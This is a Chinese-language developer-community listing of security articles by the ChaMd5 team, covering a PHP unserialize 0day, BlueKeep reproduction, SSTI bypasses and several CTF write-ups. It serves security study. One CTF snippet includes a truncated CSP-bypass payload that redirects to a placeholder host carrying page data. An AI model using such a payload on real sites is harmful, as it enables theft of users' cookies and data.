腾讯云开发者社区-腾讯云

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

ChaMd5安全团队

专栏作者

114

文章

174074

阅读量

61

订阅数

【翻译】看我如何利用PHP的0day黑掉Pornhub并获得2W美刀奖励

php 文件存储 https c 语言网络安全

在分析了Pornhub使用的平台之后，我们在其网站上检测到了unserialize函数的使用，其中的很多功能点（例如上传图片的地方等等）都受到了影响，例如下面两个URL：

ChaMd5安全团队

2019-10-31

1.7K0

TeamViewer攻陷疑云

apt-get windows https 网络安全安全

TeamViewer是一个可用于Microsoft Windows、macOS、Linux、Chrome OS、iOS、Android、Windows RT、Windows Phone 8和黑莓操作系统等的远程控制软件。除了远程控制外，TeamViewer还包含合同协作与示范等功能。

ChaMd5安全团队

2019-10-14

1.1K0

SSTI Bypass 分析

https 网络安全 python html

护网杯过去不久，realworld到来之前先来研究研究SSTI的Bypass套路。

ChaMd5安全团队

2019-10-14

1.6K0

CVE-2019-0708微软RDP远程代码执行漏洞复现

https 网络安全 windows github git

BlueKeep（CVE-2019-0708）是微软远程桌面协议（RDP）实现中发现的一个安全漏洞，它允许远程执行代码。

ChaMd5安全团队

2019-09-10

2.3K0

SUCTF-WriteUp(上)

游戏编程算法 https php 网络安全

https://gist.github.com/ed22c1ad2dc22c56f266a92635a9591c#file-str_or_str-php

ChaMd5安全团队

2019-08-23

1.4K0

https 网络安全 php npm 文件存储

Web math-is-fun1 解题思路这里有变量覆盖：可以覆盖全局变量: 使用跳转方式绕过 CSP: location.href=`//xxx.xxx.xxx.xxx/?${documen

ChaMd5安全团队

2019-07-08

1.1K0

简单入门python字节码混淆

java 编程算法 python https

我就是小菜鸡本鸡了，不是很会写东西，请各位大佬多多见谅。本文基于python2.7，因为python3并不是很懂。

ChaMd5安全团队

2019-05-07

2.3K1

FireShell CTF WriteUp

actionscript https 网络安全 c++bash

招新小广告 ChaMd5 ctf组长期招新尤其是reverse+pwn+合约的大佬欢迎联系admin@chamd5.org Web Bad Injection 解题思路任意文件下载： url

ChaMd5安全团队

2019-03-07

1.4K0

webpack带来的安全风险

webpack javascript vue.js api https

最近在资产收集过程中，发现越来越多的vue应用，大部分会使用webpack进行打包，如果没有正确配置，就会导致vue源码泄露。

ChaMd5安全团队

2019-03-07

3.5K0

赛博地球杯初赛第三名，ChaMd5安全团队的writeup

安全 php https

WEB 大量设备报表不见了（签道题）访问index.php会被跳转到index.php?id=1 而且还有写送分题，尝试很多后，发现是考验爆破，上burpsuite爆破即可，最后在index.php

ChaMd5安全团队

2018-03-29

1.1K0

CTF学习站点总结

http https 网络安全 github git

CTF学习站点总结 0x00 前言公众号的后台，有很多的朋友都在问，你们CTF是怎么入门的？有没有什么东西能和我们分享下的？有没有什么学习的网站啊之类的问题，想了很久，决定给大家分享一些。没有py，ChaMd5 良心分享（重说三） http://www.chamd5.org/ 没有py，ChaMd5 良心分享（重说三） http://www.chamd5.org/ 没有py，ChaMd5 良心分享（重说三） http://www.chamd5.org/ 0x01 CTF 资讯 XCTF联赛

ChaMd5安全团队

2018-03-29

1.6K0

没有更多了

社区活动

腾讯技术创作狂欢月

“码”上创作 21 天，分 10000 元奖品池！

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·千货材料·成员作品最新动态